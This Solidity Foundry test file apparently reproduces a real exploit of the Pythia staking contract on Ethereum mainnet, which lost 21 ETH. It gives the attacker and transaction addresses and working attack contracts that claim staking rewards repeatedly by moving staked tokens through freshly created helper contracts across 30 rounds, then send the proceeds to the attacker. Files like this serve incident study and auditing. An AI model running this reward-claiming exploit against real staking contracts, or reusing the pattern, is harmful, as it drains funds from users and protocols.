src/test/2024-09/Pythia_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 21 ETH
8// Attacker : https://etherscan.io/address/0xd861e6f1760d014d6ee6428cf7f7d732563c74c0
9// Attack Contract : https://etherscan.io/address/0x542533536e314180e1b9f00b2c046f6282eb3647
10// Vulnerable Contract : https://etherscan.io/address/0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461
11// Attack Tx : https://etherscan.io/tx/0x7e19f8edb1f1666322113f15d7674593950ac94bbc25d2aff96adabdcae0a6c3
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461#code
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/QuillAudits_AI/status/1830976830607892649
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22address constant PYTHIA_STAKING = 0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461;
23address constant PYTHIA_TOKEN = 0x66149ab384Cc066FB9E6bC140F1378D1015045E9;
24address constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
25address constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
26 
27contract Pythia is BaseTestWithBalanceLog {
28    uint256 blocknumToForkFrom = 20667429 - 1;
29 
30    function setUp() public {
31        vm.createSelectFork("mainnet", blocknumToForkFrom);
32        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
33        fundingToken = PYTHIA_STAKING;
34    }
35 
36    function testExploit() public balanceLog {
37        //implement exploit code here
38        vm.deal(address(this), 1 ether);
39        AttackContract attackContract = new AttackContract();
40        attackContract.stake{value: 0.5 ether}();
41 
42        attackContract.claimRewards();
43    }
44}
45 
46contract AttackContract {
47    address attacker;
48    constructor() {
49        attacker = msg.sender;
50    }
51    function stake() payable public {
52        uint256 amountOutMin = 10 * 1e18;
53        address[] memory path = new address[](2);
54        path[0] = WETH_ADDR;
55        path[1] = PYTHIA_TOKEN;
56        IUniswapV2Router(payable(UNISWAP_V2_ROUTER)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.5 ether}(amountOutMin, path, address(this), block.timestamp);
57        IERC20 pythia = IERC20(PYTHIA_TOKEN);
58        uint256 bal = pythia.balanceOf(address(this));
59 
60        pythia.approve(PYTHIA_STAKING, type(uint256).max);
61        IPythiaStaking(PYTHIA_STAKING).stake(bal);
62    }
63 
64    function claimRewards() public {
65        IPythiaStaking spythia = IPythiaStaking(PYTHIA_STAKING);
66        IERC20 pythia = IERC20(PYTHIA_TOKEN);
67        
68        for (uint256 i = 0; i < 30; i++) {
69            uint256 stakeBal = spythia.balanceOf(address(this));
70            Helper helper = new Helper();
71 
72            spythia.transfer(address(helper), stakeBal);
73            helper.attack();
74 
75            uint256 bal = pythia.balanceOf(address(this));
76            spythia.stake(bal);
77        }
78        spythia.transfer(attacker, spythia.balanceOf(address(this)));
79    }
80}
81 
82contract Helper {
83    function attack() public {
84        IPythiaStaking spythia = IPythiaStaking(PYTHIA_STAKING);
85        IERC20 pythia = IERC20(PYTHIA_TOKEN);
86        // uint256 bal = pythia.balanceOf(address(this));
87        uint256 stakeBal = spythia.balanceOf(address(this));
88 
89        spythia.claimRewards();
90 
91        uint256 bal = pythia.balanceOf(address(this));
92        pythia.transfer(msg.sender, bal);
93 
94        spythia.transfer(msg.sender, stakeBal);
95    }
96 
97}
98 
99interface IPythiaStaking is IERC20 {
100    function stake(uint256 amount) external;
101    function claimRewards() external;
102}